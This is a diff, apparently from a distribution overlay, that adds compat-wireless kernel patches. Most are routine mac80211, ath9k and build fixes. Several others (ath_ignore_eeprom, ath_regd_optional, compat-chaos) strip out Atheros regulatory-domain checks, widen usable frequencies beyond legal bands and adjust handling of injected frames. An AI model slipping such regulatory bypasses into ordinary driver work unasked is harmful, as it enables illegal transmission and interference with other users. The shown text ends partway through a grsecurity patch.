+@@ -1277,8 +1277,16 @@ int iwl_tx_agg_stop(struct iwl_priv *priv , const u8 *ra, u16 tid)
+ 		return -ENXIO;
+ 	}
+ 
++	if (priv->stations[sta_id].tid[tid].agg.state ==
++				IWL_EMPTYING_HW_QUEUE_ADDBA) {
++		IWL_DEBUG_HT(priv, "AGG stop before setup done\n");
++		ieee80211_stop_tx_ba_cb_irqsafe(priv->hw, ra, tid);
++		priv->stations[sta_id].tid[tid].agg.state = IWL_AGG_OFF;
++		return 0;
++	}
++
+ 	if (priv->stations[sta_id].tid[tid].agg.state != IWL_AGG_ON)
+-		IWL_WARN(priv, "Stopping AGG while state not IWL_AGG_ON\n");
++		IWL_WARN(priv, "Stopping AGG while state not ON or starting\n");
+ 
+ 	tid_data = &priv->stations[sta_id].tid[tid];
+ 	ssn = (tid_data->seq_number & IEEE80211_SCTL_SEQ) >> 4;
+diff --git a/include/net/mac80211.h b/include/net/mac80211.h
+index c75b960..998c30f 100644
+--- a/include/net/mac80211.h
++++ b/include/net/mac80211.h
+@@ -1283,6 +1283,12 @@ enum ieee80211_filter_flags {
+  *
+  * These flags are used with the ampdu_action() callback in
+  * &struct ieee80211_ops to indicate which action is needed.
++ *
++ * Note that drivers MUST be able to deal with a TX aggregation
++ * session being stopped even before they OK'ed starting it by
++ * calling ieee80211_start_tx_ba_cb(_irqsafe), because the peer
++ * might receive the addBA frame and send a delBA right away!
++ *
+  * @IEEE80211_AMPDU_RX_START: start Rx aggregation
+  * @IEEE80211_AMPDU_RX_STOP: stop Rx aggregation
+  * @IEEE80211_AMPDU_TX_START: start Tx aggregation
+diff --git a/net/mac80211/agg-rx.c b/net/mac80211/agg-rx.c
+index bc064d7..ce8e0e7 100644
+--- a/net/mac80211/agg-rx.c
++++ b/net/mac80211/agg-rx.c
+@@ -85,10 +85,6 @@ void ieee80211_sta_stop_rx_ba_session(struct ieee80211_sub_if_data *sdata, u8 *r
+ 	struct ieee80211_local *local = sdata->local;
+ 	struct sta_info *sta;
+ 
+-	/* stop HW Rx aggregation. ampdu_action existence
+-	 * already verified in session init so we add the BUG_ON */
+-	BUG_ON(!local->ops->ampdu_action);
+-
+ 	rcu_read_lock();
+ 
+ 	sta = sta_info_get(local, ra);
+diff --git a/net/mac80211/agg-tx.c b/net/mac80211/agg-tx.c
+index 206fd82..89e238b 100644
+--- a/net/mac80211/agg-tx.c
++++ b/net/mac80211/agg-tx.c
+@@ -123,13 +123,18 @@ void ieee80211_send_bar(struct ieee80211_sub_if_data *sdata, u8 *ra, u16 tid, u1
+ 	ieee80211_tx_skb(sdata, skb, 0);
+ }
+ 
+-static int ___ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid,
+-					   enum ieee80211_back_parties initiator)
++int ___ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid,
++				    enum ieee80211_back_parties initiator)
+ {
+ 	struct ieee80211_local *local = sta->local;
+ 	int ret;
+ 	u8 *state;
+ 
++#ifdef CONFIG_MAC80211_HT_DEBUG
++	printk(KERN_DEBUG "Tx BA session stop requested for %pM tid %u\n",
++	       sta->sta.addr, tid);
++#endif /* CONFIG_MAC80211_HT_DEBUG */
++
+ 	state = &sta->ampdu_mlme.tid_state_tx[tid];
+ 
+ 	if (*state == HT_AGG_STATE_OPERATIONAL)
+@@ -143,7 +148,6 @@ static int ___ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid,
+ 
+ 	/* HW shall not deny going back to legacy */
+ 	if (WARN_ON(ret)) {
+-		*state = HT_AGG_STATE_OPERATIONAL;
+ 		/*
+ 		 * We may have pending packets get stuck in this case...
+ 		 * Not bothering with a workaround for now.
+@@ -525,11 +529,6 @@ int __ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid,
+ 		goto unlock;
+ 	}
+ 
+-#ifdef CONFIG_MAC80211_HT_DEBUG
+-	printk(KERN_DEBUG "Tx BA session stop requested for %pM tid %u\n",
+-	       sta->sta.addr, tid);
+-#endif /* CONFIG_MAC80211_HT_DEBUG */
+-
+ 	ret = ___ieee80211_stop_tx_ba_session(sta, tid, initiator);
+ 
+  unlock:
+@@ -545,7 +544,7 @@ int ieee80211_stop_tx_ba_session(struct ieee80211_hw *hw,
+ 	struct sta_info *sta;
+ 	int ret = 0;
+ 
+-	if (WARN_ON(!local->ops->ampdu_action))
++	if (!local->ops->ampdu_action)
+ 		return -EINVAL;
+ 
+ 	if (tid >= STA_TID_NUM)
+diff --git a/net/mac80211/ht.c b/net/mac80211/ht.c
+index 48ef1a2..cdc58e6 100644
+--- a/net/mac80211/ht.c
++++ b/net/mac80211/ht.c
+@@ -141,7 +141,6 @@ void ieee80211_process_delba(struct ieee80211_sub_if_data *sdata,
+ 			     struct sta_info *sta,
+ 			     struct ieee80211_mgmt *mgmt, size_t len)
+ {
+-	struct ieee80211_local *local = sdata->local;
+ 	u16 tid, params;
+ 	u16 initiator;
+ 
+@@ -161,10 +160,9 @@ void ieee80211_process_delba(struct ieee80211_sub_if_data *sdata,
+ 						 WLAN_BACK_INITIATOR, 0);
+ 	else { /* WLAN_BACK_RECIPIENT */
+ 		spin_lock_bh(&sta->lock);
+-		sta->ampdu_mlme.tid_state_tx[tid] =
+-				HT_AGG_STATE_OPERATIONAL;
++		if (sta->ampdu_mlme.tid_state_tx[tid] & HT_ADDBA_REQUESTED_MSK)
++			___ieee80211_stop_tx_ba_session(sta, tid,
++							WLAN_BACK_RECIPIENT);
+ 		spin_unlock_bh(&sta->lock);
+-		ieee80211_stop_tx_ba_session(&local->hw, sta->sta.addr, tid,
+-					     WLAN_BACK_RECIPIENT);
+ 	}
+ }
+diff --git a/net/mac80211/ieee80211_i.h b/net/mac80211/ieee80211_i.h
+index a910bf1..10d316e 100644
+--- a/net/mac80211/ieee80211_i.h
++++ b/net/mac80211/ieee80211_i.h
+@@ -1091,6 +1091,8 @@ void ieee80211_process_addba_request(struct ieee80211_local *local,
+ 
+ int __ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid,
+ 				   enum ieee80211_back_parties initiator);
++int ___ieee80211_stop_tx_ba_session(struct sta_info *sta, u16 tid,
++				    enum ieee80211_back_parties initiator);
+ 
+ /* Spectrum management */
+ void ieee80211_process_measurement_req(struct ieee80211_sub_if_data *sdata,
diff --git a/net-wireless/compat-wireless/files/WEXT-EXT-nuts.patch b/net-wireless/compat-wireless/files/WEXT-EXT-nuts.patch
new file mode 100644
index 00000000..9c316b80
--- /dev/null
+++ b/net-wireless/compat-wireless/files/WEXT-EXT-nuts.patch
@@ -0,0 +1,71 @@
+From: Luis R. Rodriguez <lrodriguez@atheros.com>
+Date: Thu, 17 Jun 2010 20:28:58 +0000 (-0700)
+Subject: compat-wireles: fix compilation when you have disabled CONFIG_CFG80211_WEXT
+X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Fmcgrof%2Fcompat-wireless-2.6.git;a=commitdiff_plain;h=75bb5106cc632665fdccb9abc13f35dbaf70df1e
+
+compat-wireles: fix compilation when you have disabled CONFIG_CFG80211_WEXT
+
+On newer kernels you can disable CONFIG_CFG80211_WEXT. If you try to
+compile compat-wireless with CONFIG_CFG80211_WEXT disabled you get:
+
+  CC [M]  /home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.o
+/home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.c: In function 'cfg80211_netdev_notifier_call':
+/home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.c:703: error: 'struct net_device' has no member named 'wireless_handlers'
+/home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.c:704: error: 'struct net_device' has no member named 'wireless_handlers'
+make[3]: *** [/home/mcgrof/devel/compat-wireless-2.6/net/wireless/core.o] Error 1
+make[2]: *** [/home/mcgrof/devel/compat-wireless-2.6/net/wireless] Error 2
+make[1]: *** [_module_/home/mcgrof/devel/compat-wireless-2.6] Error 2
+
+This is because we currently force CONFIG_CFG80211_WEXT to be enabled
+on the compat_autoconf.h. Instead we should enable it conditionally
+based on CONFIG_CFG80211_WEXT for older kernels and simply leave it
+out for newer kernels, so we can respect your kernel config. For
+newer kernels you cannot enable CONFIG_CFG80211_WEXT since
+the net_device structure changes based on CONFIG_CFG80211_WEXT,
+the wireless_handlers are not added to the net_device if you don't
+have it enabled.
+
+Reported-by: Mathieu Olivari <Mathieu.Olivari@Atheros.com>
+Signed-off-by: Luis R. Rodriguez <lrodriguez@atheros.com>
+---
+
+diff --git a/config.mk b/config.mk
+index 0001a7d..04a6f7e 100644
+--- a/config.mk
++++ b/config.mk
+@@ -162,8 +162,19 @@ CONFIG_BT_CMTP=m
+ endif
+ CONFIG_BT_HIDP=m
+ 
++# CONFIG_CFG80211_WEXT will be resepected for
++# future kernels but for older kenrels we need
++# to enable it against the the old CONFIG_WIRELESS_EXT.
++# By using a space here we prevent scripts/gen-compat-autoconf.sh
++# from defining CONFIG_CFG80211_WEXT through its grep sweep for ^CONFIG
++# options, instead its handled specially there based on kernel revision.
++# using this logic: if you are on older kernel and have CONFIG_WIRELESS_EXT
++# defined we'll define it.
++#
++# For newer kernels we'll just respect your own kernel's
++# autoconf.h
+ ifneq ($(CONFIG_WIRELESS_EXT),)
+-CONFIG_CFG80211_WEXT=y
++ CONFIG_CFG80211_WEXT=y
+ endif
+ 
+ # mac80211 test driver
+diff --git a/scripts/gen-compat-autoconf.sh b/scripts/gen-compat-autoconf.sh
+index 7fb63e9..88e2740 100755
+--- a/scripts/gen-compat-autoconf.sh
++++ b/scripts/gen-compat-autoconf.sh
+@@ -193,8 +193,7 @@ if [ -f $KLIB_BUILD/Makefile ]; then
+ 		rm -f $MULT_DEP_FILE
+ 		# Kernels >= 2.6.32 can disable WEXT :D
+ 		if [ $SUBLEVEL -lt 32 ]; then
+-			# Handle core kernel wireless depenencies here
+-			define_config_req CONFIG_WIRELESS_EXT
++			define_config_dep CONFIG_CFG80211_WEXT 1 CONFIG_WIRELESS_EXT
+ 		fi
+ 	fi
+ fi
+
diff --git a/net-wireless/compat-wireless/files/ath9k_htc_ethtool_driver.patch b/net-wireless/compat-wireless/files/ath9k_htc_ethtool_driver.patch
new file mode 100644
index 00000000..a7b4a870
--- /dev/null
+++ b/net-wireless/compat-wireless/files/ath9k_htc_ethtool_driver.patch
@@ -0,0 +1,37 @@
+From: Sujith Manoharan <Sujith.Manoharan@atheros.com>
+
+Pass the correct module name and device interface so that
+ethtool can display the proper values.
+
+The firmware version will be fixed later on when the FW
+can actually report a version. :)
+
+Reported-by: Richard Farina <sidhayn@gmail.com>
+Signed-off-by: Sujith Manoharan <Sujith.Manoharan@atheros.com>
+---
+ drivers/net/wireless/ath/ath9k/hif_usb.c |    4 ++--
+ 1 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/drivers/net/wireless/ath/ath9k/hif_usb.c b/drivers/net/wireless/ath/ath9k/hif_usb.c
+index f1b8af6..2d10239 100644
+--- a/drivers/net/wireless/ath/ath9k/hif_usb.c
++++ b/drivers/net/wireless/ath/ath9k/hif_usb.c
+@@ -1040,7 +1040,7 @@ static int ath9k_hif_usb_probe(struct usb_interface *interface,
+ 	}
+ 
+ 	ret = ath9k_htc_hw_init(hif_dev->htc_handle,
+-				&hif_dev->udev->dev, hif_dev->device_id,
++				&interface->dev, hif_dev->device_id,
+ 				hif_dev->udev->product, id->driver_info);
+ 	if (ret) {
+ 		ret = -EINVAL;
+@@ -1158,7 +1158,7 @@ fail_resume:
+ #endif
+ 
+ static struct usb_driver ath9k_hif_usb_driver = {
+-	.name = "ath9k_hif_usb",
++	.name = KBUILD_MODNAME,
+ 	.probe = ath9k_hif_usb_probe,
+ 	.disconnect = ath9k_hif_usb_disconnect,
+ #ifdef CONFIG_PM
+-- 1.7.4.4
diff --git a/net-wireless/compat-wireless/files/ath_ignore_eeprom.patch b/net-wireless/compat-wireless/files/ath_ignore_eeprom.patch
new file mode 100644
index 00000000..71b392d9
--- /dev/null
+++ b/net-wireless/compat-wireless/files/ath_ignore_eeprom.patch
@@ -0,0 +1,70 @@
+diff -Naur /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r3/work/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.c /usr/src/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.c
+--- /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r3/work/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.c	2010-06-11 14:16:36.000000000 -0400
++++ /usr/src/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.c	2010-06-21 17:20:13.000000000 -0400
+@@ -18,6 +18,9 @@
+ #include <net/cfg80211.h>
+ #include <net/mac80211.h>
+ #include "regd.h"
++
++#ifdef ATH_FORCE_REGD
++
+ #include "regd_common.h"
+ 
+ /*
+@@ -587,3 +590,5 @@
+ 	}
+ }
+ EXPORT_SYMBOL(ath_regd_get_band_ctl);
++
++#endif
+diff -Naur /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r3/work/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.h /usr/src/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.h
+--- /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r3/work/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.h	2010-06-11 14:16:36.000000000 -0400
++++ /usr/src/compat-wireless-2.6.35-rc2/drivers/net/wireless/ath/regd.h	2010-06-21 17:21:33.000000000 -0400
+@@ -250,6 +250,41 @@
+ 	CTRY_BELGIUM2 = 5002
+ };
+ 
++#ifndef ATH_FORCE_REGD
++
++static inline bool
++ath_is_world_regd(struct ath_regulatory *reg)
++{
++	return true;
++}
++
++static inline int
++ath_regd_init(struct ath_regulatory *reg, struct wiphy *wiphy,
++	      int (*reg_notifier)(struct wiphy *wiphy,
++	      struct regulatory_request *request))
++{
++	return 0;
++}
++
++
++static inline u32
++ath_regd_get_band_ctl(struct ath_regulatory *reg,
++		      enum ieee80211_band band)
++{
++	return SD_NO_CTL;
++}
++
++static inline int
++ath_reg_notifier_apply(struct wiphy *wiphy,
++		       struct regulatory_request *request,
++		       struct ath_regulatory *reg)
++{
++	return 0;
++}
++
++
++#else
++
+ bool ath_is_world_regd(struct ath_regulatory *reg);
+ int ath_regd_init(struct ath_regulatory *reg, struct wiphy *wiphy,
+ 		  int (*reg_notifier)(struct wiphy *wiphy,
+@@ -261,3 +296,5 @@
+ 			   struct ath_regulatory *reg);
+ 
+ #endif
++
++#endif
diff --git a/net-wireless/compat-wireless/files/ath_regd_optional.patch b/net-wireless/compat-wireless/files/ath_regd_optional.patch
new file mode 100644
index 00000000..415fc896
--- /dev/null
+++ b/net-wireless/compat-wireless/files/ath_regd_optional.patch
@@ -0,0 +1,39 @@
+diff -Naur compat-wireless-3.0-rc4-1-orig/drivers/net/wireless/ath/regd.c compat-wireless-3.0-rc4-1/drivers/net/wireless/ath/regd.c
+--- compat-wireless-3.0-rc4-1-orig/drivers/net/wireless/ath/regd.c	2011-06-23 19:02:22.000000000 -0400
++++ compat-wireless-3.0-rc4-1/drivers/net/wireless/ath/regd.c	2011-06-26 01:52:35.000000000 -0400
+@@ -193,6 +193,8 @@
+ 	u32 bandwidth = 0;
+ 	int r;
+ 
++	return;
++
+ 	for (band = 0; band < IEEE80211_NUM_BANDS; band++) {
+ 
+ 		if (!wiphy->bands[band])
+@@ -252,6 +254,8 @@
+ 	u32 bandwidth = 0;
+ 	int r;
+ 
++	return;
++
+ 	sband = wiphy->bands[IEEE80211_BAND_2GHZ];
+ 
+ 	/*
+@@ -299,6 +303,8 @@
+ 	struct ieee80211_channel *ch;
+ 	unsigned int i;
+ 
++	return;
++
+ 	if (!wiphy->bands[IEEE80211_BAND_5GHZ])
+ 		return;
+ 
+@@ -466,6 +472,8 @@
+ {
+ 	const struct ieee80211_regdomain *regd;
+ 
++	return 0;
++
+ 	wiphy->reg_notifier = reg_notifier;
+ 	wiphy->flags |= WIPHY_FLAG_STRICT_REGULATORY;
+ 
diff --git a/net-wireless/compat-wireless/files/blinky.patch b/net-wireless/compat-wireless/files/blinky.patch
new file mode 100644
index 00000000..4b928999
--- /dev/null
+++ b/net-wireless/compat-wireless/files/blinky.patch
@@ -0,0 +1,11 @@
+diff -Naur compat-wireless-2.6.31-rc7-orig/config.mk compat-wireless-2.6.31-rc7/config.mk
+--- compat-wireless-2.6.31-rc7-orig/config.mk	2009-08-25 20:07:50.000000000 -0400
++++ compat-wireless-2.6.31-rc7/config.mk	2009-08-25 21:58:33.000000000 -0400
+@@ -266,6 +266,7 @@
+ 
+ CONFIG_P54_USB=m
+ CONFIG_RTL8187=m
++CONFIG_RTL8187_LEDS=y
+ 
+ CONFIG_AT76C50X_USB=m
+ 
diff --git a/net-wireless/compat-wireless/files/channel-negative-one-maxim.patch b/net-wireless/compat-wireless/files/channel-negative-one-maxim.patch
new file mode 100644
index 00000000..a1eb2b2d
--- /dev/null
+++ b/net-wireless/compat-wireless/files/channel-negative-one-maxim.patch
@@ -0,0 +1,38 @@
+commit fffd6e63ea75850dafbf2ccfb38a4189f43c0282
+Author: Maxim Levitsky <maximlevitsky@xxxxxxxxx>
+Date:   Tue Jun 1 15:43:21 2010 +0300
+
+    wireless: allow to retrieve the channel set on monitor interface
+    
+    This will allow to preserve compatibility with userspace
+    
+    Signed-off-by: Maxim Levitsky <maximlevitsky@xxxxxxxxx>
+
+diff --git a/net/wireless/chan.c b/net/wireless/chan.c
+index b01a6f6..09d979b 100644
+--- a/net/wireless/chan.c
++++ b/net/wireless/chan.c
+@@ -49,9 +49,12 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev,
+ {
+ 	struct ieee80211_channel *chan;
+ 	int result;
++	struct wireless_dev *mon_dev = NULL;
+ 
+-	if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR)
++	if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) {
++		mon_dev = wdev;
+ 		wdev = NULL;
++	}
+ 
+ 	if (wdev) {
+ 		ASSERT_WDEV_LOCK(wdev);
+@@ -76,5 +79,8 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev,
+ 	if (wdev)
+ 		wdev->channel = chan;
+ 
++	if (mon_dev)
++		mon_dev->channel = chan;
++
+ 	return 0;
+ }
+
diff --git a/net-wireless/compat-wireless/files/compat-chaos.patch b/net-wireless/compat-wireless/files/compat-chaos.patch
new file mode 100644
index 00000000..e1447b5f
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-chaos.patch
@@ -0,0 +1,166 @@
+diff -Naur compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/base.c compat-chaos/drivers/net/wireless/ath/ath5k/base.c
+--- compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/base.c	2009-10-02 16:42:13.000000000 -0700
++++ compat-chaos/drivers/net/wireless/ath/ath5k/base.c	2009-10-05 09:45:40.000000000 -0700
+@@ -285,7 +285,7 @@
+ static void 	ath5k_detach(struct pci_dev *pdev,
+ 			struct ieee80211_hw *hw);
+ /* Channel/mode setup */
+-static inline short ath5k_ieee2mhz(short chan);
++static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq);
+ static unsigned int ath5k_copy_channels(struct ath5k_hw *ah,
+ 				struct ieee80211_channel *channels,
+ 				unsigned int mode,
+@@ -889,7 +889,7 @@
+  * Convert IEEE channel number to MHz frequency.
+  */
+ static inline short
+-ath5k_ieee2mhz(short chan)
++ath5k_ieee2mhz(int chan, unsigned int chfreq)
+ {
+ 	if (chan <= 14 || chan >= 27)
+ 		return ieee80211chan2mhz(chan);
+@@ -902,13 +902,7 @@
+  */
+ static bool ath5k_is_standard_channel(short chan)
+ {
+-	return ((chan <= 14) ||
+-		/* UNII 1,2 */
+-		((chan & 3) == 0 && chan >= 36 && chan <= 64) ||
+-		/* midband */
+-		((chan & 3) == 0 && chan >= 100 && chan <= 140) ||
+-		/* UNII-3 */
+-		((chan & 3) == 1 && chan >= 149 && chan <= 165));
++	return true;
+ }
+ 
+ static unsigned int
+@@ -917,7 +911,8 @@
+ 		unsigned int mode,
+ 		unsigned int max)
+ {
+-	unsigned int i, count, size, chfreq, freq, ch;
++	unsigned int i, count, size, chfreq, freq;
++		int ch;
+ 
+ 	if (!test_bit(mode, ah->ah_modes))
+ 		return 0;
+@@ -926,13 +921,15 @@
+ 	case AR5K_MODE_11A:
+ 	case AR5K_MODE_11A_TURBO:
+ 		/* 1..220, but 2GHz frequencies are filtered by check_channel */
+-		size = 220 ;
++		size = 3000 ;
++		ch = -40;
+ 		chfreq = CHANNEL_5GHZ;
+ 		break;
+ 	case AR5K_MODE_11B:
+ 	case AR5K_MODE_11G:
+ 	case AR5K_MODE_11G_TURBO:
+-		size = 26;
++		size = 3000;
++		ch = -43;
+ 		chfreq = CHANNEL_2GHZ;
+ 		break;
+ 	default:
+@@ -940,9 +937,8 @@
+ 		return 0;
+ 	}
+ 
+-	for (i = 0, count = 0; i < size && max > 0; i++) {
+-		ch = i + 1 ;
+-		freq = ath5k_ieee2mhz(ch);
++	for (i = 0, count = 0; i < size && max > 0; i++,ch++) {
++		freq = ath5k_ieee2mhz(ch,chfreq);
+ 
+ 		/* Check if channel is supported by the chipset */
+ 		if (!ath5k_channel_ok(ah, freq, chfreq))
+@@ -1246,7 +1242,9 @@
+ 
+ 	rate = ieee80211_get_tx_rate(sc->hw, info);
+ 
+-	if (info->flags & IEEE80211_TX_CTL_NO_ACK)
++	if (info->flags & IEEE80211_TX_CTL_NO_ACK ||
++ 	   (info->flags & IEEE80211_TX_CTL_INJECTED &&
++          !(ieee80211_has_morefrags(((struct ieee80211_hdr *)skb->data)->frame_control))))
+ 		flags |= AR5K_TXDESC_NOACK;
+ 
+ 	rc_flags = info->control.rates[0].flags;
+diff -Naur compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/base.h compat-chaos/drivers/net/wireless/ath/ath5k/base.h
+--- compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/base.h	2009-10-02 16:42:15.000000000 -0700
++++ compat-chaos/drivers/net/wireless/ath/ath5k/base.h	2009-10-05 09:46:12.000000000 -0700
+@@ -110,9 +110,9 @@
+ };
+ 
+ #if CHAN_DEBUG
+-#define ATH_CHAN_MAX	(26+26+26+200+200)
++#define ATH_CHAN_MAX	(4000)
+ #else
+-#define ATH_CHAN_MAX	(14+14+14+252+20)
++#define ATH_CHAN_MAX	(4000)
+ #endif
+ 
+ /* Software Carrier, keeps track of the driver state
+diff -Naur compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/caps.c compat-chaos/drivers/net/wireless/ath/ath5k/caps.c
+--- compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/caps.c	2009-10-02 16:42:13.000000000 -0700
++++ compat-chaos/drivers/net/wireless/ath/ath5k/caps.c	2009-10-05 09:47:07.000000000 -0700
+@@ -69,8 +69,8 @@
+ 
+ 		if (AR5K_EEPROM_HDR_11A(ee_header)) {
+ 			/* 4920 */
+-			ah->ah_capabilities.cap_range.range_5ghz_min = 5005;
+-			ah->ah_capabilities.cap_range.range_5ghz_max = 6100;
++			ah->ah_capabilities.cap_range.range_5ghz_min = 4800;
++			ah->ah_capabilities.cap_range.range_5ghz_max = 6000;
+ 
+ 			/* Set supported modes */
+ 			__set_bit(AR5K_MODE_11A,
+@@ -88,7 +88,7 @@
+ 		    (AR5K_EEPROM_HDR_11G(ee_header) &&
+ 		     ah->ah_version != AR5K_AR5211)) {
+ 			/* 2312 */
+-			ah->ah_capabilities.cap_range.range_2ghz_min = 2412;
++			ah->ah_capabilities.cap_range.range_2ghz_min = 2192;
+ 			ah->ah_capabilities.cap_range.range_2ghz_max = 2732;
+ 
+ 			if (AR5K_EEPROM_HDR_11B(ee_header))
+diff -Naur compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/phy.c compat-chaos/drivers/net/wireless/ath/ath5k/phy.c
+--- compat-wireless-2.6.32-rc1/drivers/net/wireless/ath/ath5k/phy.c	2009-10-02 16:42:13.000000000 -0700
++++ compat-chaos/drivers/net/wireless/ath/ath5k/phy.c	2009-10-05 09:48:55.000000000 -0700
+@@ -830,13 +830,7 @@
+ bool ath5k_channel_ok(struct ath5k_hw *ah, u16 freq, unsigned int flags)
+ {
+ 	/* Check if the channel is in our supported range */
+-	if (flags & CHANNEL_2GHZ) {
+-		if ((freq >= ah->ah_capabilities.cap_range.range_2ghz_min) &&
+-		    (freq <= ah->ah_capabilities.cap_range.range_2ghz_max))
+-			return true;
+-	} else if (flags & CHANNEL_5GHZ)
+-		if ((freq >= ah->ah_capabilities.cap_range.range_5ghz_min) &&
+-		    (freq <= ah->ah_capabilities.cap_range.range_5ghz_max))
++	if ((freq >=2190) && (freq <=5900)) 
+ 			return true;
+ 
+ 	return false;
+diff -Naur compat-wireless-2.6.32-rc1/include/net/ieee80211_radiotap.h compat-chaos/include/net/ieee80211_radiotap.h
+--- compat-wireless-2.6.32-rc1/include/net/ieee80211_radiotap.h	2009-10-02 16:42:12.000000000 -0700
++++ compat-chaos/include/net/ieee80211_radiotap.h	2009-10-05 09:49:54.000000000 -0700
+@@ -247,7 +247,7 @@
+ #define ieee80211chan2mhz(x) \
+ 	(((x) <= 14) ? \
+ 	(((x) == 14) ? 2484 : ((x) * 5) + 2407) : \
+-	((x) + 1000) * 5)
++	((x) + 2100))
+ 
+ /* helpers */
+ static inline int ieee80211_get_radiotap_len(unsigned char *data)
+diff -Naur compat-wireless-2.6.32-rc1/net/mac80211/tx.c compat-chaos/net/mac80211/tx.c
+--- compat-wireless-2.6.32-rc1/net/mac80211/tx.c	2009-10-02 16:42:12.000000000 -0700
++++ compat-chaos/net/mac80211/tx.c	2009-10-05 09:50:38.000000000 -0700
+@@ -1392,6 +1392,7 @@
+ {
+ 	struct ieee80211_local *local = sdata->local;
+ 	struct ieee80211_tx_info *info = IEEE80211_SKB_CB(skb);
++	struct ieee80211_channel *chan = local->hw.conf.channel;
+ 	struct ieee80211_hdr *hdr = (struct ieee80211_hdr *) skb->data;
+ 	struct ieee80211_sub_if_data *tmp_sdata;
+ 	int headroom;
diff --git a/net-wireless/compat-wireless/files/compat-sched.patch b/net-wireless/compat-wireless/files/compat-sched.patch
new file mode 100644
index 00000000..9670069e
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-sched.patch
@@ -0,0 +1,10 @@
+--- compat/compat-2.6.39.c.orig	2011-05-04 09:45:45.885000018 +0800
++++ compat/compat-2.6.39.c	2011-05-04 09:46:04.691000014 +0800
+@@ -10,6 +10,7 @@
+ 
+ #include <linux/compat.h>
+ #include <linux/tty.h>
++#include <linux/sched.h>
+ 
+ #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,27))
+ /*
diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec.patch
new file mode 100644
index 00000000..857d5fb3
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec.patch
@@ -0,0 +1,398 @@
+diff --git a/drivers/net/wireless/ath/ath.h b/drivers/net/wireless/ath/ath.h
+index c54b7d37..af1f359 100644
+--- a/drivers/net/wireless/ath/ath.h
++++ b/drivers/net/wireless/ath/ath.h
+@@ -119,6 +119,7 @@ struct ath_ops {
+ 	void (*write_flush) (void *);
+ 	u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr);
+ };
++typedef struct ath_ops __no_const ath_ops_no_const;
+ 
+ struct ath_common;
+ struct ath_bus_ops;
+diff --git a/drivers/net/wireless/ath/ath9k/ar9002_mac.c b/drivers/net/wireless/ath/ath9k/ar9002_mac.c
+index aa2abaf..5f5152d 100644
+--- a/drivers/net/wireless/ath/ath9k/ar9002_mac.c
++++ b/drivers/net/wireless/ath/ath9k/ar9002_mac.c
+@@ -183,8 +183,8 @@ ar9002_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i)
+ 	ads->ds_txstatus6 = ads->ds_txstatus7 = 0;
+ 	ads->ds_txstatus8 = ads->ds_txstatus9 = 0;
+ 
+-	ACCESS_ONCE(ads->ds_link) = i->link;
+-	ACCESS_ONCE(ads->ds_data) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->ds_link) = i->link;
++	ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0];
+ 
+ 	ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore);
+ 	ctl6 = SM(i->keytype, AR_EncrType);
+@@ -198,26 +198,26 @@ ar9002_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i)
+ 
+ 	if ((i->is_first || i->is_last) &&
+ 	    i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) {
+-		ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ds_ctl2) = 0;
+-		ACCESS_ONCE(ads->ds_ctl3) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl2) = 0;
